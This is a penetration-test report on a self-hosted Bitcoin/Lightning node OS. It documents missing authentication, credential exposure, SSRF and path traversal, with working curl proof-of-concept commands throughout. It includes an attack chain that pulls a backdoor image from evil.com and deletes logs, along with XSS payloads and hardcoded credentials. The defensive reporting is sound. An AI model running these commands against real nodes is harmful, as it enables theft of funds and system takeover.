archy/loop/pentest/security-assessment-report.md
Dorian 870ff095d8 feat: rootless podman, session hardening, boot stability, sidebar fix
Rootless podman migration (TASK-11):
- Remove sudo from all podman calls in PodmanClient + 8 backend files
- Remove sudo from all podman/docker calls in deploy script
- Restore full systemd security hardening: NoNewPrivileges,
  RestrictAddressFamilies, MemoryDenyWriteExecute, RestrictRealtime,
  RestrictNamespaces, RestrictSUIDSGID, SystemCallFilter, ProtectSystem=strict
- Enable loginctl linger for rootless container persistence
- Remove Ollama from auto-deploy (marketplace-only)

Session & auth hardening:
- Increase MAX_CONCURRENT_SESSIONS 20→50 (prevents eviction storms)
- Debounced 401 redirect in rpc-client.ts (prevents redirect storms)

Boot stability:
- optimize-debian.sh: adds chrony, swap, removes policy-rc.d
- deploy script: pre-restart chrony + swap setup
- ISO build: chrony package, swap file creation
- BootScreen: no longer clears localStorage (prevents splash replay)
- RootRedirect: sole owner of localStorage clearing on server ready

UI fixes:
- Sidebar opacity default changed from 0→visible (fixes missing sidebar
  after page-persistence login without entrance animation)
- Console.log/error wrapped in import.meta.env.DEV guards
- Remove unused route import from RootRedirect

Beta tracking:
- CLAUDE.md: beta freeze protocol added
- MASTER_PLAN.md: TASK-11, TASK-17, phase structure
- BETA-PROGRESS.md: initial tracking doc
- Tagged v1.2.0-alpha.1 as pre-rootless baseline

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-18 13:53:27 +00:00

33 KiB

Security Assessment Report — Archipelago Node OS

Target: http://192.168.1.228 Assessment Period: 2026-03-06 through 2026-03-18 Assessor: Authorized internal penetration test (owner-approved) Classification: CONFIDENTIAL


1. Executive Summary

An authorized penetration test was conducted against the Archipelago Bitcoin Node OS instance at 192.168.1.228. The assessment covered the full attack surface: 20+ open TCP ports, 30+ nginx proxy routes, 150+ JSON-RPC methods, WebSocket endpoints, and direct service ports hosting Bitcoin, Lightning, and 30 containerized applications.

Overall Risk Rating: CRITICAL

The system has no functional authentication. The backend verifies passwords but creates no server-side session — every RPC endpoint, WebSocket connection, and internal service is accessible to any device on the LAN without credentials. This single architectural flaw, combined with unauthenticated exposure of LND admin macaroons and Bitcoin RPC access via hardcoded credentials, means any LAN-adjacent attacker has complete control over the node's financial infrastructure.

Findings by Severity

Severity Count Categories
Critical 8 Auth bypass (4), credential exposure (2), SSRF+RCE (1), path traversal (1)
High 10 Brute force (1), access control (3), CORS (2), SSRF (2), headers (1), default creds (1)
Medium 6 Auth (2), XSS (1), info disclosure (2), API proxy (1)
Low 3 Reflection (1), log injection (1), info disclosure (1)
Total 27

Top 3 Recommendations

  1. Implement server-side session management immediately. Wire the existing core/startos/src/middleware/auth.rs session middleware into the RPC handler. This single fix addresses 15 of 27 findings.

  2. Lock down financial service access. Require authentication on /lnd-connect-info, remove hardcoded Bitcoin RPC credentials (archipelago:archipelago123), change Grafana default password (admin:admin), and bind all service ports to 127.0.0.1.

  3. Implement input validation on all RPC parameters. package.uninstall accepts path traversal (../../), package.install pulls from arbitrary registries, and container-install reads arbitrary filesystem paths. Apply the existing validate_app_id() whitelist to all package operations.


2. Scope and Methodology

Scope

Component In Scope Notes
Nginx reverse proxy (port 80/443) Yes All locations, security headers, proxy routes
Rust backend (port 5678) Yes All 150+ RPC methods, HTTP endpoints, WebSocket
Vue 3 frontend Yes Client-side auth, XSS sinks, postMessage handlers
Direct service ports (20+) Yes Grafana, LND, Bitcoin UI, NPM, Portainer, etc.
Containerized services (30) Limited Default credentials, port exposure, auth bypass
SSH (port 22) Out of scope
Denial of service Out of scope

Tools and Techniques

  • Reconnaissance: Nmap 7.98 (service enumeration, version detection), WhatWeb (technology fingerprinting), manual HTTP probing
  • Source code review: Full Rust backend (core/), Vue frontend (neode-ui/src/), nginx configs, systemd service files
  • Live exploitation: curl-based proof-of-concept against all RPC endpoints, WebSocket testing via Node.js client, browser console testing
  • Authentication testing: Session analysis, brute force validation, CORS policy testing, cookie analysis
  • Injection testing: Path traversal, SSRF via Tor proxy, container image injection, log injection, XSS payload storage

Limitations

  • Individual containerized applications were not deeply tested beyond default credential checks and port exposure
  • SSH was not tested (out of scope)
  • No denial-of-service testing performed
  • Testing limited to LAN access (no internet-facing assessment)
  • Some client-side findings (postMessage origin bypass) confirmed via source review only, not live exploitation

3. Findings Summary Table

Exploitation-Confirmed Findings (21)

ID Severity Type Endpoint OWASP
AUTH-001 Critical No session management auth.login A07:2021
AUTH-002 Critical All RPC unauthenticated All 150+ RPC methods A01:2021
AUTH-005 Critical Frontend-only auth localStorage A07:2021
AUTH-007 Critical Unauthenticated WebSocket WS /ws/db A01:2021
SSRF-004 Critical Arbitrary container pull + RCE package.install A10:2021
INJ-002 Critical Path traversal → rm -rf package.uninstall A03:2021
AUTH-003 High No brute force protection auth.login A07:2021
AUTH-008 High P2P message injection /archipelago/node-message A03:2021
AUTH-009 High CORS wildcard Port 5678 all endpoints A05:2021
AUTH-011 High LND proxy unauthenticated /proxy/lnd/* A01:2021
XSS-004 High Missing security headers All pages (nginx) A05:2021
XSS-007 High CORS enables cross-origin attacks Combined with AUTH-009 A05:2021
SSRF-001 High Blind SSRF + port injection node-check-peer A10:2021
SSRF-002 High Outbound SSRF + identity leak node-send-message A10:2021
AUTH-006 Medium No-op logout auth.logout A07:2021
AUTH-012 Medium Unauthenticated container logs /api/container/logs A01:2021
XSS-001 Medium Stored XSS (Vue-escaped) /archipelago/node-message A03:2021
INJ-001 Medium File existence oracle container-install A01:2021
INJ-006 Medium Unauthenticated AI API proxy /aiui/api/claude/* A01:2021
XSS-005 Low Echo reflects arbitrary input echo method A03:2021
INJ-007 Low Log injection /archipelago/node-message A09:2021

Recon-Confirmed Findings (6)

ID Severity Type Endpoint OWASP
RECON-001 Critical LND admin macaroon exposure GET /lnd-connect-info A01:2021
RECON-002 Critical Bitcoin RPC hardcoded creds POST :8334/bitcoin-rpc/ A05:2021
RECON-003 High Grafana default admin:admin GET :3000/api/org A07:2021
RECON-004 High Content catalog leak GET /content A01:2021
RECON-005 High NPM admin on LAN Port 81 (setup:false) A05:2021
RECON-006 Medium Service ports bypass auth Ports 3000,3001,7777,8080,9000 A05:2021

4. Detailed Findings


AUTH-001 — No Server-Side Session Management [CRITICAL]

CVSS 3.1: 9.8 | OWASP: A07:2021 — Identification and Authentication Failures

The auth.login RPC method verifies the password against a bcrypt hash but returns null on success. No session token, cookie, or JWT is created. There is zero server-side session state. Session management code exists in core/startos/src/middleware/auth.rs (cookie-based sessions, SHA-256 token hashing, rate limiting) but is not wired into the core/archipelago/ request pipeline.

Evidence:

curl -sv -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"auth.login","params":{"password":"test123test"}}'
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Content-Type: application/json
< Content-Length: 78
< Connection: keep-alive
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}

No Set-Cookie header present. Even on a correct login, the response is {"result":null,"error":null} — no session token. The password verification is cosmetic.

Impact: This is the root cause of the majority of findings. All 150+ RPC methods are permanently accessible without authentication. The login endpoint is a no-op.

Remediation: Wire core/startos/src/middleware/auth.rs into the HTTP handler. Add session creation to auth.login on success, and session validation middleware before RPC dispatch.


AUTH-002 — All Sensitive RPC Endpoints Callable Without Authentication [CRITICAL]

CVSS 3.1: 9.8 | OWASP: A01:2021 — Broken Access Control

Due to AUTH-001, all 150+ RPC methods accept requests without any authentication. The RPC handler dispatches directly to method handlers via a flat match statement with no middleware.

Evidence — Node Identity Leak:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"node.did","params":{}}'
{
  "result": {
    "did": "did:key:z6MkmkSBSqcKJW7T7iQbFJ8JhHCDSoFi8fSpRiktQfi6E5R2",
    "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
  }
}

Evidence — Cryptographic Key Signing Oracle:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":11,"method":"node.signChallenge","params":{"challenge":"pentest-proof-of-concept"}}'
{
  "result": {
    "signature": "bb10f455fe99794be4e14c233511fe2abc9e019490902b7407835767ff1b0f281e591088be4b434370a52521db741b2598796b9fda2ff24294658e02fc3d040a"
  }
}

Evidence — System Onboarding Reset (system takeover):

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":17,"method":"auth.resetOnboarding","params":{}}'
{"result": true, "error": null}

Evidence — Full Peer Network Exposure:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -d '{"jsonrpc":"2.0","id":5,"method":"node-list-peers","params":{}}'
{
  "result": {
    "peers": [
      {
        "onion": "5sgfyeax3qolikxqxez5qidoj7hzgbi67qxihdadtebps2yqfre2avqd.onion",
        "pubkey": "dea8d3cbca0fbe041357c8639a4dad3abbf32fc734e8fc0bd82a562d5e6df51d"
      },
      {
        "onion": "a36eaqmxsdeept7ogodaypdw6hpmoqfwzxc5gcchkci4tcqixkpnntad.onion",
        "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
      }
    ]
  }
}

Confirmed unauthenticated methods (partial list):

Category Methods
Container control container-install, container-start, container-stop, container-remove, container-list
Package management package.install, package.start, package.stop, package.restart, package.uninstall
Cryptographic ops node.signChallenge, node.createBackup
Identity exposure node.did, node.nostr-pubkey, node.tor-address
P2P operations node-add-peer, node-remove-peer, node-send-message, node-list-peers, node-check-peer
Auth management auth.changePassword, auth.resetOnboarding, auth.logout
Bitcoin/Lightning bitcoin.getinfo, lnd.getinfo, lnd.sendcoins, lnd.payinvoice

Impact: An unauthenticated attacker on the LAN can: leak the node's DID and Nostr pubkey; expose Tor onion addresses of all peers; sign arbitrary data with the node's ed25519 private key (identity impersonation); reset onboarding state (system takeover); control the full container lifecycle; and potentially send Bitcoin/Lightning transactions.


RECON-001 — Unauthenticated LND Admin Macaroon Exposure [CRITICAL]

CVSS 3.1: 9.8 | OWASP: A01:2021 — Broken Access Control

GET /lnd-connect-info returns the full LND admin macaroon without any authentication. CORS is set to Access-Control-Allow-Origin: *.

Evidence:

curl -sk http://192.168.1.228/lnd-connect-info
{
  "cert_base64url": "MIIC...",
  "grpc_port": 10009,
  "macaroon_base64url": "AgED...",
  "rest_port": 8080
}

Macaroon permissions: address:rw, info:rw, invoices:rw, macaroon:generate/rw, message:rw, offchain:rw, onchain:rw, peers:rw, signer:generate/read.

Impact: Any device on the LAN can retrieve the admin macaroon and gain complete control of the Lightning node — send all funds, drain channels, open/close channels, generate new macaroons, sign messages. This is equivalent to exposing the root private key for the Lightning wallet.

Remediation: Require session authentication on /lnd-connect-info. Use read-only macaroon for status checks; only expose admin macaroon via authenticated RPC with explicit user confirmation.


RECON-002 — Bitcoin RPC Full Access via Hardcoded Credentials [CRITICAL]

CVSS 3.1: 9.1 | OWASP: A05:2021 — Security Misconfiguration

Port 8334 proxies Bitcoin Core RPC with hardcoded Basic Auth credentials archipelago:archipelago123 stored in a version-controlled nginx config file (docker/bitcoin-ui/nginx.conf).

Evidence:

curl -sk -X POST http://192.168.1.228:8334/bitcoin-rpc/ \
  -u archipelago:archipelago123 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
{"result":{"chain":"main","blocks":941146,...},"error":null}

Confirmed: mainnet node, block 941146, 828GB on disk.

Impact: Full Bitcoin Core RPC access on a live mainnet node. If wallet is loaded, attacker can call sendtoaddress, dumpprivkey, listunspent, or any Bitcoin RPC method. Credentials are committed to version control.

Remediation: Remove hardcoded credentials from nginx config. Proxy Bitcoin RPC through the authenticated Rust backend only. Bind port 8334 to 127.0.0.1. Generate unique RPC credentials per installation.


AUTH-005 — Frontend-Only Authentication Enforcement [CRITICAL]

CVSS 3.1: 9.8 | OWASP: A07:2021 — Identification and Authentication Failures

Authentication exists only in the Vue.js frontend. The auth state is localStorage.getItem('neode-auth') === 'true'. Session "validation" calls server.echo — an unprotected endpoint that always succeeds — creating a circular trust loop.

Impact: localStorage.setItem('neode-auth','true'); location.href='/dashboard' in the browser console grants full UI access without a password.


AUTH-007 — Unauthenticated WebSocket Full State Dump [CRITICAL]

CVSS 3.1: 8.6 | OWASP: A01:2021 — Broken Access Control

The WebSocket endpoint at /ws/db accepts connections without authentication and immediately streams 20,402 bytes of complete system state.

Evidence:

curl -sv -H "Upgrade: websocket" -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" http://192.168.1.228/ws/db

Response: 101 Switching Protocols, then full state dump:

{
  "rev": 43,
  "data": {
    "server-info": {
      "id": "6c682474d91a2272",
      "version": "0.1.0",
      "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9",
      "status-info": { "restarting": false, "shutting-down": false }
    },
    "package-data": {
      "homeassistant": { "state": "running" },
      "fedimint": { "state": "running" },
      "photoprism": { "state": "running" }
    }
  }
}

Impact: Any LAN client receives: node identity, all 30 installed packages, running states, internal ports, and real-time updates.


SSRF-004 — Arbitrary Container Image Pull + Execution [CRITICAL]

CVSS 3.1: 9.8 | OWASP: A10:2021 — Server-Side Request Forgery

The package.install RPC method accepts an arbitrary dockerImage parameter and executes podman pull to any registry without authentication, allowlisting, or image signature verification.

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.install","params":{"id":"pentest-ssrf-probe","dockerImage":"localhost:1/nonexistent:latest"}}'
{
  "error": {
    "code": -1,
    "message": "Failed to pull image: Trying to pull localhost:1/nonexistent:latest...\ntime=\"2026-03-06T02:34:07Z\" level=warning msg=\"Failed, retrying in 1s ... (1/3). Error: initializing source docker://localhost:1/nonexistent:latest: pinging container registry localhost:1: Get \\\"https://localhost:1/v2/\\\": dial tcp [::1]:1: connect: connection refused\"\n..."
  }
}

Impact: Unauthenticated arbitrary container image pull (SSRF) + potential execution (RCE). Error output leaks internal IPs and retry behavior.


INJ-002 — Path Traversal in package.uninstall [CRITICAL]

CVSS 3.1: 9.1 | OWASP: A03:2021 — Injection

The package.uninstall handler constructs a filesystem path from the id parameter without sanitization. Path traversal sequences resolve to arbitrary directories for rm -rf.

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.uninstall","params":{"id":"../../tmp/pentest-traversal-probe"}}'
{"result":{"status":"uninstalled"},"error":null}

Path /var/lib/archipelago/../../tmp/pentest-traversal-probe/tmp/pentest-traversal-probe — traversal accepted, success returned.

Impact: Unauthenticated arbitrary directory deletion. Could target /etc/nginx, /opt/archipelago, /var/log.


AUTH-003 — No Brute Force Protection on Login [HIGH]

CVSS 3.1: 7.5 | OWASP: A07:2021 — Identification and Authentication Failures

Evidence:

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
    -X POST http://192.168.1.228/rpc/v1 \
    -d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}"
done

All 10 rapid-fire attempts returned HTTP 200. No lockout, delay, or CAPTCHA. Direct backend access (port 5678) bypasses nginx rate limiting.


AUTH-008 — Unauthenticated P2P Message Injection + Spoofing [HIGH]

CVSS 3.1: 7.5 | OWASP: A03:2021 — Injection

Evidence:

curl -s -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"PENTEST_PROBE_KEY","message":"pentest-verification-message"}'

Response: {"ok":true} — message stored and displayed in UI as if from legitimate peer.

Impact: Social engineering, phishing, impersonation via spoofed peer messages. No signature verification.


AUTH-009 — CORS Wildcard on Backend Port 5678 [HIGH]

CVSS 3.1: 7.4 | OWASP: A05:2021 — Security Misconfiguration

Evidence:

curl -s -D- -X POST http://192.168.1.228:5678/archipelago/node-message \
  -H 'Origin: http://evil.com' \
  -d '{"from_pubkey":"cors-test","message":"cors-test"}'

Response: access-control-allow-origin: *

Confirmed on: /archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*

Impact: Any website can silently interact with the backend via cross-origin requests, turning LAN-only vulnerabilities into remote drive-by attacks.


AUTH-011 — Unauthenticated LND Proxy [HIGH]

CVSS 3.1: 7.5 | OWASP: A01:2021 — Broken Access Control

/proxy/lnd/* on port 5678 is reachable without authentication, CORS wildcard set. Currently blocked by TLS mismatch but auth/CORS issues confirmed.


RECON-003 — Grafana Default Credentials [HIGH]

CVSS 3.1: 7.2 | OWASP: A07:2021 — Identification and Authentication Failures

Evidence:

curl -sk http://192.168.1.228:3000/api/org -u admin:admin
{"id":1,"name":"Main Org.","address":{...}}

Grafana 10.2.0 — full admin access with default admin:admin.


RECON-004 — Unauthenticated Content Catalog Exposure [HIGH]

OWASP: A01:2021 — Broken Access Control

GET /content returns complete file catalog (filenames, sizes, MIME types, UUIDs) without authentication. Personal music files with full paths disclosed. UUIDs enable direct download via /content/{id}.


RECON-005 — Nginx Proxy Manager Direct LAN Access [HIGH]

OWASP: A05:2021 — Security Misconfiguration

Port 81 serves NPM admin interface on LAN. API returns "setup": false — potential initial admin takeover. NPM controls all reverse proxy routing.


XSS-004 — Missing Security Headers [HIGH]

OWASP: A05:2021 — Security Misconfiguration

Evidence:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Content-Type: text/html

Missing: CSP, X-Frame-Options, X-Content-Type-Options, HSTS, Referrer-Policy. No defense-in-depth against XSS or clickjacking.


XSS-007 — CORS Enables Cross-Origin Attack Delivery [HIGH]

OWASP: A05:2021 — Security Misconfiguration

CORS wildcard on port 5678 combined with no authentication enables any website to exploit all findings remotely. An attacker's webpage can inject messages, read logs, and access services.


SSRF-001 — Blind SSRF via node-check-peer with Port Injection [HIGH]

CVSS 3.1: 7.3 | OWASP: A10:2021 — Server-Side Request Forgery

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -d '{"method":"node-check-peer","params":{"onion":"aaaa...aaa.onion:9999"}}'

Port injection accepted. Boolean reachable response leaks service availability through Tor.


SSRF-002 — SSRF via node-send-message [HIGH]

CVSS 3.1: 6.5 | OWASP: A10:2021 — Server-Side Request Forgery

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -d '{"method":"node-send-message","params":{"onion":"aaaa...aaa","message":"ssrf-probe"}}'

Forced outbound HTTP POST via Tor. Error messages leak full URL, proxy status. Request body includes node's public key.


AUTH-006 — No-Op Logout [MEDIUM]

Logout returns null — no session exists to invalidate.


AUTH-012 — Unauthenticated Container Log Access [MEDIUM]

Container logs accessible on port 5678 without authentication. CORS wildcard set. Logs may contain credentials and configuration data.


XSS-001 — Stored XSS Payloads in P2P Messages [MEDIUM]

Evidence:

curl -X POST http://192.168.1.228/archipelago/node-message \
  -d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'

Payloads stored verbatim server-side. Currently mitigated by Vue auto-escaping. No server-side sanitization — defense-in-depth absent.


INJ-001 — File Existence Oracle via container-install [MEDIUM]

Different error messages for existing vs. non-existing files: "Failed to parse manifest" (exists) vs. "Failed to read manifest file" (doesn't exist). Enables unauthenticated filesystem enumeration.


INJ-006 — Unauthenticated Claude/OpenRouter API Proxy [MEDIUM]

/aiui/api/claude/* and /aiui/api/openrouter/* proxy to AI APIs using the owner's credentials without authentication. Financial impact via credit consumption.


RECON-006 — Service Ports Bypass Authentication [MEDIUM]

Ports 3000, 3001, 7777, 8080, 8082, 8083, 8085, 8888, 9000 directly accessible, bypassing nginx security headers, rate limiting, and session validation.


XSS-005 — Echo Endpoint Reflects Arbitrary Input [LOW]

echo method reflects arbitrary content in JSON response. Low risk due to application/json Content-Type.


INJ-007 — Log Injection via P2P Messages [LOW]

Newline characters stored in message fields without sanitization. Could create fake log entries.


Info Disclosure — Version and Service Information [LOW]

Source Information Exposed
Server header nginx/1.22.1
Port 81 NPM 2.14.0
Port 3000 /api/health Grafana 10.2.0, commit hash
Port 8080 TLS cert Internal IPs, Tailscale IPs, link-local addresses
/electrs-status Blockchain sync 99%, index 124.8GB
Error messages "Password Incorrect" confirms account exists

5. Critical Attack Chain

Full system compromise from any LAN device, zero authentication required:

# 1. Steal Lightning wallet credentials
curl -s http://TARGET/lnd-connect-info
# Returns: admin macaroon, TLS cert, gRPC/REST ports

# 2. Access Bitcoin RPC with hardcoded credentials
curl -s -X POST http://TARGET:8334/bitcoin-rpc/ -u archipelago:archipelago123 \
  -d '{"method":"getblockchaininfo","params":[]}'

# 3. Dump full system state
wscat -c ws://TARGET/ws/db

# 4. Sign arbitrary data as the node
curl -s http://TARGET/rpc/v1 \
  -d '{"method":"node.signChallenge","params":{"challenge":"attacker-controlled-data"}}'

# 5. Execute attacker-controlled container
curl -s http://TARGET/rpc/v1 \
  -d '{"method":"package.install","params":{"id":"backdoor","dockerImage":"evil.com/rootkit:latest"}}'

# 6. Delete evidence via path traversal
curl -s http://TARGET/rpc/v1 \
  -d '{"method":"package.uninstall","params":{"id":"../../var/log"}}'

# 7. Lock out legitimate user
curl -s http://TARGET/rpc/v1 -d '{"method":"auth.resetOnboarding"}'

Result: Complete node takeover — Lightning funds drained, Bitcoin RPC accessed, identity stolen, arbitrary code executing, logs deleted, owner locked out.


6. Recommendations

Priority 0 — Immediate (before any user testing)

# Action Findings Addressed Effort
1 Wire session middleware into RPC handler. Integrate core/startos/src/middleware/auth.rs. Create sessions on login, validate on every request. AUTH-001/002/005/006/007/008/012, SSRF-001/002/004, INJ-001/002, XSS-001, INJ-007 Medium
2 Require auth on /lnd-connect-info. Remove CORS wildcard. RECON-001 Small
3 Remove hardcoded Bitcoin RPC credentials. Bind port 8334 to localhost. RECON-002 Small
4 Validate package_id against ^[a-z0-9-]+$ whitelist. The validate_app_id() function already exists. INJ-002 Small
5 Add registry allowlist to package.install. Require Cosign image signature verification. SSRF-004 Small
6 Change Grafana default password. RECON-003 Small

Priority 1 — Short-term (within 1 week)

# Action Findings Addressed Effort
7 Bind all service ports to 127.0.0.1. Grafana, NPM, LND, Bitcoin UI, Portainer — all via authenticated nginx only. RECON-003/005/006, AUTH-009/011 Medium
8 Add brute force protection at the application level (5 failures → lockout with backoff). AUTH-003 Small
9 Require cryptographic signature verification on /archipelago/node-message. AUTH-008, XSS-001, INJ-007 Medium
10 Replace CORS * with explicit origins. Block direct port 5678 access via firewall. AUTH-009, XSS-007, AUTH-012 Small
11 Add security headers to nginx (CSP, X-Frame-Options, HSTS, etc.). server_tokens off. XSS-004 Small
12 Apply validate_onion() to node-check-peer. Strip port numbers. SSRF-001 Small
13 Add auth to /aiui/api/ nginx proxy. INJ-006 Small

Priority 2 — Medium-term (within 1 month)

# Action Findings Addressed Effort
14 Stop running backend as root. Create dedicated service account. Amplification factor Medium
15 Disable dev mode in production (ARCHIPELAGO_DEV_MODE=false). Amplification factor Small
16 Sanitize P2P message content server-side (HTML entity encoding). XSS-001 Small
17 Normalize error messages in container-install (prevent oracle). INJ-001 Small
18 Add federation peer authentication (signature verification). Source analysis Medium
19 Migrate CSP to nonce-based (remove unsafe-inline). XSS-004 Large
20 Generate random session secret on first boot (replace CHANGE_ME_ON_FIRST_RUN). Defense-in-depth Small

7. Positive Security Controls

The following controls are well-implemented and should be maintained:

Control Implementation Rating
Password hashing bcrypt cost 12 Strong
TOTP 2FA Argon2id + ChaCha20 key encryption, constant-time comparison, replay protection Excellent
Session token generation 256-bit random, SHA-256 server-side storage Strong
Cookie security HttpOnly, SameSite=Strict (when sessions exist) Strong
App ID validation validate_app_id() whitelist [a-z0-9-] Good (where applied)
Docker image validation is_valid_docker_image() rejects shell metacharacters Good
Container manifest path .. check + canonicalize() + boundary check Good
Path traversal (nginx) /../ and %2f..%2f blocked, .git/.env not exposed Good
Rate limiting (nginx) 20r/s burst 40 on /rpc/v1 Present
Rate limiting (backend) Per-method limits on financial ops, auth changes Present
CORS (nginx main) Only allows configured origins on /rpc/v1 Good
Secrets at rest AES-256-GCM encryption Strong
Container security readonly_root, capability dropping, non-root users Good defaults
Login error messages "Password Incorrect" (consider generic "Invalid credentials") Acceptable

8. Appendix

A. Technologies Detected

Layer Technology Version
OS Debian 12 (Bookworm) x86_64
Web Server nginx 1.22.1
Reverse Proxy (containers) OpenResty (Nginx Proxy Manager) 2.14.0
Backend Rust (custom binary) 0.1.0
Frontend Vue 3 + TypeScript + Vite 7
Container Runtime Podman (rootless)
Lightning LND auto-generated TLS cert
Bitcoin Bitcoin Core/Knots mainnet, block 941146
Monitoring Grafana 10.2.0
Uptime Uptime Kuma
Search SearXNG 2026.2.3
Password Manager Vaultwarden Rocket server
SSH OpenSSH 9.2p1

B. Open Port Inventory

Port Service Auth Required Direct LAN Access
22 SSH Yes (key/password) Yes
80 nginx (main UI) No (frontend-only) Yes
81 Nginx Proxy Manager No (setup:false) Yes
443 nginx (HTTPS, self-signed) No Yes
3000 Grafana No (admin:admin) Yes
3001 Uptime Kuma Session Yes
5678 Rust backend No Yes
7777 IndeedHub Nostr NIP-07 Yes
8080 LND REST TLS + Macaroon Yes
8081 LND Web UI Yes
8082 Vaultwarden Session Yes
8083 FileBrowser Session Yes
8085 Nextcloud Session Yes
8333 Bitcoin Core P2P Protocol Yes
8334 Bitcoin UI / RPC proxy Basic Auth (hardcoded) Yes
8888 SearXNG None Yes
9000 Portainer Session Yes
10009 LND gRPC TLS + Macaroon Yes
50002 ElectrumX UI Yes

C. Container Inventory (30 — enumerated without authentication)

bitcoin-knots, tailscale, filebrowser, bitcoin-ui, lnd, homeassistant, searxng, portainer, archy-mempool-db, grafana, onlyoffice, archy-nbxplorer, archy-btcpay-db, mempool-electrs, nginx-proxy-manager, nextcloud, vaultwarden, uptime-kuma, immich_postgres, immich_redis, immich_server, jellyfin, photoprism, archy-lnd-ui, archy-electrs-ui, mempool-api, archy-mempool-web, btcpay-server, archy-tor, fedimint

D. Findings Not Exploitable (excluded from findings)

ID Description Reason
AUTH-004 Default credentials (password123) User changed password
AUTH-010 Weak initial password policy Setup already complete
XSS-002/003 postMessage origin bypass Source review only, not live exploited
XSS-006 test-aiui.html postMessage Test file, minimal impact
SSRF-003 LND proxy data access TLS mismatch blocks
SSRF-005 marketplace.get URL fetch Dormant code, not compiled
INJ-003 Volume mount via bundled-app-start Requires valid app data
INJ-005 Argument injection via package.stop Ambiguous result

E. Root Cause Analysis

AUTH-001 (No session management)  ← ROOT CAUSE
  │
  ├── AUTH-002 (All endpoints unauthenticated)
  │     ├── AUTH-005 (Frontend-only auth)
  │     ├── AUTH-007 (WebSocket unauthenticated)
  │     ├── AUTH-008 (Message injection)
  │     ├── AUTH-011 (LND proxy unauthenticated)
  │     ├── AUTH-012 (Container logs unauthenticated)
  │     ├── SSRF-001 (Blind SSRF)
  │     ├── SSRF-002 (Outbound SSRF)
  │     ├── SSRF-004 (Arbitrary container pull)
  │     ├── INJ-001 (File oracle)
  │     ├── INJ-002 (Path traversal)
  │     ├── XSS-001 (Stored XSS)
  │     └── INJ-007 (Log injection)
  │
  ├── AUTH-003 (No brute force protection)
  └── AUTH-006 (No-op logout)

RECON-001/002/003 (Credential exposure) — INDEPENDENT of auth
AUTH-009/XSS-007 (CORS wildcard) — AMPLIFIES all above to remote
XSS-004 (Missing headers) — REMOVES defense-in-depth
RECON-005/006 (Port exposure) — BYPASSES nginx protections

Fixing AUTH-001 alone addresses 15 of 27 findings. Combined with credential lockdown (RECON-001/002/003) and port binding (RECON-005/006), 23 of 27 findings are resolved or significantly mitigated.

F. OWASP Top 10 Mapping

OWASP 2021 Finding Count Findings
A01 — Broken Access Control 8 AUTH-002/005/007/011/012, RECON-001/004, INJ-001
A03 — Injection 5 INJ-002/007, AUTH-008, XSS-001/005
A05 — Security Misconfiguration 7 AUTH-009, XSS-004/007, RECON-002/005/006, INJ-006
A07 — Auth Failures 4 AUTH-001/003/006, RECON-003
A09 — Logging & Monitoring 1 INJ-007
A10 — SSRF 3 SSRF-001/002/004

End of Report

Assessment period: 2026-03-06 through 2026-03-18 Classification: CONFIDENTIAL — Owner only 27 total findings: 8 Critical, 10 High, 6 Medium, 3 Low